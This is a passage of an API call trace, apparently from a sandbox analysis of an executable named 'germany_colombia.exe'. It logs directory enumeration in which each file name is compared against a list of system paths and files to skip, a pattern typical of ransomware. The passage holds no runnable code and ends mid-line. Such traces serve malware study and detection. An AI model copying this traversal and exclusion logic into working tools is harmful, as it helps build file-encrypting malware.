[0102.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="germany_colombia.exe", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="germany_colombia.exe", lpUsedDefaultChar=0x0) returned 20 [0102.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0102.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0102.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0102.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="germany_colombia.exe", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0102.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="germany_colombia.exe", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="germany_colombia.exe", lpUsedDefaultChar=0x0) returned 20 [0102.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0102.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0102.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="germany_colombia.exe", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0102.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="germany_colombia.exe", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="germany_colombia.exe", lpUsedDefaultChar=0x0) returned 20 [0102.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0102.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f916e8 [0102.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0102.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.524] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7065be1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa7065be1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa70b1ea1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1fbe00, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0102.524] lstrcmpiW (lpString1="msoe.dll", lpString2=".") returned 1 [0102.524] lstrcmpiW (lpString1="msoe.dll", lpString2="..") returned 1 [0102.524] lstrcmpiW (lpString1="msoe.dll", lpString2="...") returned 1 [0102.524] lstrcmpiW (lpString1="msoe.dll", lpString2="windows") returned -1 [0102.524] lstrcmpiW (lpString1="msoe.dll", lpString2="$RECYCLE.BIN") returned 1 [0102.524] lstrcmpiW (lpString1="msoe.dll", lpString2="rsa") returned -1 [0102.524] lstrcmpiW (lpString1="msoe.dll", lpString2="NTDETECT.COM") returned -1 [0102.524] lstrcmpiW (lpString1="msoe.dll", lpString2="ntldr") returned -1 [0102.524] lstrcmpiW (lpString1="msoe.dll", lpString2="MSDOS.SYS") returned 1 [0102.524] lstrcmpiW (lpString1="msoe.dll", lpString2="IO.SYS") returned 1 [0102.524] lstrcmpiW (lpString1="msoe.dll", lpString2="boot.ini") returned 1 [0102.524] lstrcmpiW (lpString1="msoe.dll", lpString2="boot.ini") returned 1 [0102.524] lstrcmpiW (lpString1="msoe.dll", lpString2="AUTOEXEC.BAT") returned 1 [0102.524] lstrcmpiW (lpString1="msoe.dll", lpString2="ntuser.dat") returned -1 [0102.524] lstrcmpiW (lpString1="msoe.dll", lpString2="desktop.ini") returned 1 [0102.524] lstrcmpiW (lpString1="msoe.dll", lpString2="CONFIG.SYS") returned 1 [0102.524] lstrcmpiW (lpString1="msoe.dll", lpString2="RECYCLER") returned -1 [0102.525] lstrcmpiW (lpString1="msoe.dll", lpString2="BOOTSECT.BAK") returned 1 [0102.525] lstrcmpiW (lpString1="msoe.dll", lpString2="bootmgr") returned 1 [0102.525] lstrcmpiW (lpString1="msoe.dll", lpString2="programdata") returned -1 [0102.525] lstrcmpiW (lpString1="msoe.dll", lpString2="appdata") returned 1 [0102.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msoe.dll", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0102.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msoe.dll", cchWideChar=8, lpMultiByteStr=0x653f590, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msoe.dll", lpUsedDefaultChar=0x0) returned 8 [0102.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msoe.dll", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0102.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msoe.dll", cchWideChar=8, lpMultiByteStr=0x653f590, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msoe.dll", lpUsedDefaultChar=0x0) returned 8 [0102.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msoe.dll", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0102.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msoe.dll", cchWideChar=8, lpMultiByteStr=0x653f5e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msoe.dll", lpUsedDefaultChar=0x0) returned 8 [0102.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msoe.dll", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0102.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msoe.dll", cchWideChar=8, lpMultiByteStr=0x653f618, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msoe.dll", lpUsedDefaultChar=0x0) returned 8 [0102.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0102.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0102.525] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc917413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc917413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x95a52df0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2b4a00, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1 [0102.525] lstrcmpiW (lpString1="MSOERES.dll", lpString2=".") returned 1 [0102.525] lstrcmpiW (lpString1="MSOERES.dll", lpString2="..") returned 1 [0102.525] lstrcmpiW (lpString1="MSOERES.dll", lpString2="...") returned 1 [0102.525] lstrcmpiW (lpString1="MSOERES.dll", lpString2="windows") returned -1 [0102.525] lstrcmpiW (lpString1="MSOERES.dll", lpString2="$RECYCLE.BIN") returned 1 [0102.525] lstrcmpiW (lpString1="MSOERES.dll", lpString2="rsa") returned -1 [0102.525] lstrcmpiW (lpString1="MSOERES.dll", lpString2="NTDETECT.COM") returned -1 [0102.525] lstrcmpiW (lpString1="MSOERES.dll", lpString2="ntldr") returned -1 [0102.525] lstrcmpiW (lpString1="MSOERES.dll", lpString2="MSDOS.SYS") returned 1 [0102.525] lstrcmpiW (lpString1="MSOERES.dll", lpString2="IO.SYS") returned 1 [0102.525] lstrcmpiW (lpString1="MSOERES.dll", lpString2="boot.ini") returned 1 [0102.525] lstrcmpiW (lpString1="MSOERES.dll", lpString2="boot.ini") returned 1 [0102.525] lstrcmpiW (lpString1="MSOERES.dll", lpString2="AUTOEXEC.BAT") returned 1 [0102.525] lstrcmpiW (lpString1="MSOERES.dll", lpString2="ntuser.dat") returned -1 [0102.526] lstrcmpiW (lpString1="MSOERES.dll", lpString2="desktop.ini") returned 1 [0102.526] lstrcmpiW (lpString1="MSOERES.dll", lpString2="CONFIG.SYS") returned 1 [0102.526] lstrcmpiW (lpString1="MSOERES.dll", lpString2="RECYCLER") returned -1 [0102.526] lstrcmpiW (lpString1="MSOERES.dll", lpString2="BOOTSECT.BAK") returned 1 [0102.526] lstrcmpiW (lpString1="MSOERES.dll", lpString2="bootmgr") returned 1 [0102.526] lstrcmpiW (lpString1="MSOERES.dll", lpString2="programdata") returned -1 [0102.526] lstrcmpiW (lpString1="MSOERES.dll", lpString2="appdata") returned 1 [0102.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSOERES.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0102.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSOERES.dll", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSOERES.dll", lpUsedDefaultChar=0x0) returned 11 [0102.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSOERES.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0102.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSOERES.dll", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSOERES.dll", lpUsedDefaultChar=0x0) returned 11 [0102.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSOERES.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0102.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSOERES.dll", cchWideChar=11, lpMultiByteStr=0x653f5e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSOERES.dll", lpUsedDefaultChar=0x0) returned 11 [0102.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSOERES.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0102.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSOERES.dll", cchWideChar=11, lpMultiByteStr=0x653f618, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSOERES.dll", lpUsedDefaultChar=0x0) returned 11 [0102.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0102.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0102.526] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa70b1ea1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa70b1ea1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa70b1ea1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16c00, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1 [0102.526] lstrcmpiW (lpString1="oeimport.dll", lpString2=".") returned 1 [0102.526] lstrcmpiW (lpString1="oeimport.dll", lpString2="..") returned 1 [0102.526] lstrcmpiW (lpString1="oeimport.dll", lpString2="...") returned 1 [0102.526] lstrcmpiW (lpString1="oeimport.dll", lpString2="windows") returned -1 [0102.526] lstrcmpiW (lpString1="oeimport.dll", lpString2="$RECYCLE.BIN") returned 1 [0102.526] lstrcmpiW (lpString1="oeimport.dll", lpString2="rsa") returned -1 [0102.526] lstrcmpiW (lpString1="oeimport.dll", lpString2="NTDETECT.COM") returned 1 [0102.526] lstrcmpiW (lpString1="oeimport.dll", lpString2="ntldr") returned 1 [0102.526] lstrcmpiW (lpString1="oeimport.dll", lpString2="MSDOS.SYS") returned 1 [0102.526] lstrcmpiW (lpString1="oeimport.dll", lpString2="IO.SYS") returned 1 [0102.527] lstrcmpiW (lpString1="oeimport.dll", lpString2="boot.ini") returned 1 [0102.527] lstrcmpiW (lpString1="oeimport.dll", lpString2="boot.ini") returned 1 [0102.527] lstrcmpiW (lpString1="oeimport.dll", lpString2="AUTOEXEC.BAT") returned 1 [0102.527] lstrcmpiW (lpString1="oeimport.dll", lpString2="ntuser.dat") returned 1 [0102.527] lstrcmpiW (lpString1="oeimport.dll", lpString2="desktop.ini") returned 1 [0102.527] lstrcmpiW (lpString1="oeimport.dll", lpString2="CONFIG.SYS") returned 1 [0102.527] lstrcmpiW (lpString1="oeimport.dll", lpString2="RECYCLER") returned -1 [0102.527] lstrcmpiW (lpString1="oeimport.dll", lpString2="BOOTSECT.BAK") returned 1 [0102.527] lstrcmpiW (lpString1="oeimport.dll", lpString2="bootmgr") returned 1 [0102.527] lstrcmpiW (lpString1="oeimport.dll", lpString2="programdata") returned -1 [0102.527] lstrcmpiW (lpString1="oeimport.dll", lpString2="appdata") returned 1 [0102.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="oeimport.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0102.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="oeimport.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeimport.dll", lpUsedDefaultChar=0x0) returned 12 [0102.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="oeimport.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0102.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="oeimport.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeimport.dll", lpUsedDefaultChar=0x0) returned 12 [0102.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="oeimport.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0102.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="oeimport.dll", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeimport.dll", lpUsedDefaultChar=0x0) returned 12 [0102.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="oeimport.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0102.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="oeimport.dll", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeimport.dll", lpUsedDefaultChar=0x0) returned 12 [0102.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0102.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0102.527] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1f425d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d1f425d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d21a3bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 1 [0102.527] lstrcmpiW (lpString1="wab.exe", lpString2=".") returned 1 [0102.527] lstrcmpiW (lpString1="wab.exe", lpString2="..") returned 1 [0102.527] lstrcmpiW (lpString1="wab.exe", lpString2="...") returned 1 [0102.527] lstrcmpiW (lpString1="wab.exe", lpString2="windows") returned -1 [0102.527] lstrcmpiW (lpString1="wab.exe", lpString2="$RECYCLE.BIN") returned 1 [0102.527] lstrcmpiW (lpString1="wab.exe", lpString2="rsa") returned 1 [0102.528] lstrcmpiW (lpString1="wab.exe", lpString2="NTDETECT.COM") returned 1 [0102.528] lstrcmpiW (lpString1="wab.exe", lpString2="ntldr") returned 1 [0102.528] lstrcmpiW (lpString1="wab.exe", lpString2="MSDOS.SYS") returned 1 [0102.528] lstrcmpiW (lpString1="wab.exe", lpString2="IO.SYS") returned 1 [0102.528] lstrcmpiW (lpString1="wab.exe", lpString2="boot.ini") returned 1 [0102.528] lstrcmpiW (lpString1="wab.exe", lpString2="boot.ini") returned 1 [0102.528] lstrcmpiW (lpString1="wab.exe", lpString2="AUTOEXEC.BAT") returned 1 [0102.528] lstrcmpiW (lpString1="wab.exe", lpString2="ntuser.dat") returned 1 [0102.528] lstrcmpiW (lpString1="wab.exe", lpString2="desktop.ini") returned 1 [0102.528] lstrcmpiW (lpString1="wab.exe", lpString2="CONFIG.SYS") returned 1 [0102.528] lstrcmpiW (lpString1="wab.exe", lpString2="RECYCLER") returned 1 [0102.528] lstrcmpiW (lpString1="wab.exe", lpString2="BOOTSECT.BAK") returned 1 [0102.528] lstrcmpiW (lpString1="wab.exe", lpString2="bootmgr") returned 1 [0102.528] lstrcmpiW (lpString1="wab.exe", lpString2="programdata") returned 1 [0102.528] lstrcmpiW (lpString1="wab.exe", lpString2="appdata") returned 1 [0102.528] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wab.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0102.528] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wab.exe", cchWideChar=7, lpMultiByteStr=0x653f590, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab.exe", lpUsedDefaultChar=0x0) returned 7 [0102.528] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wab.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0102.528] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wab.exe", cchWideChar=7, lpMultiByteStr=0x653f590, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab.exe", lpUsedDefaultChar=0x0) returned 7 [0102.528] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wab.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0102.528] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wab.exe", cchWideChar=7, lpMultiByteStr=0x653f5e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab.exe", lpUsedDefaultChar=0x0) returned 7 [0102.528] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wab.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0102.528] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wab.exe", cchWideChar=7, lpMultiByteStr=0x653f618, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab.exe", lpUsedDefaultChar=0x0) returned 7 [0102.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0102.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0102.528] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfa72e7a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbfa72e7a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="wabfind.dll", cAlternateFileName="")) returned 1 [0102.528] lstrcmpiW (lpString1="wabfind.dll", lpString2=".") returned 1 [0102.528] lstrcmpiW (lpString1="wabfind.dll", lpString2="..") returned 1 [0102.528] lstrcmpiW (lpString1="wabfind.dll", lpString2="...") returned 1 [0102.528] lstrcmpiW (lpString1="wabfind.dll", lpString2="windows") returned -1 [0102.528] lstrcmpiW (lpString1="wabfind.dll", lpString2="$RECYCLE.BIN") returned 1 [0102.528] lstrcmpiW (lpString1="wabfind.dll", lpString2="rsa") returned 1 [0102.528] lstrcmpiW (lpString1="wabfind.dll", lpString2="NTDETECT.COM") returned 1 [0102.528] lstrcmpiW (lpString1="wabfind.dll", lpString2="ntldr") returned 1 [0102.528] lstrcmpiW (lpString1="wabfind.dll", lpString2="MSDOS.SYS") returned 1 [0102.529] lstrcmpiW (lpString1="wabfind.dll", lpString2="IO.SYS") returned 1 [0102.529] lstrcmpiW (lpString1="wabfind.dll", lpString2="boot.ini") returned 1 [0102.529] lstrcmpiW (lpString1="wabfind.dll", lpString2="boot.ini") returned 1 [0102.529] lstrcmpiW (lpString1="wabfind.dll", lpString2="AUTOEXEC.BAT") returned 1 [0102.529] lstrcmpiW (lpString1="wabfind.dll", lpString2="ntuser.dat") returned 1 [0102.529] lstrcmpiW (lpString1="wabfind.dll", lpString2="desktop.ini") returned 1 [0102.529] lstrcmpiW (lpString1="wabfind.dll", lpString2="CONFIG.SYS") returned 1 [0102.529] lstrcmpiW (lpString1="wabfind.dll", lpString2="RECYCLER") returned 1 [0102.529] lstrcmpiW (lpString1="wabfind.dll", lpString2="BOOTSECT.BAK") returned 1 [0102.529] lstrcmpiW 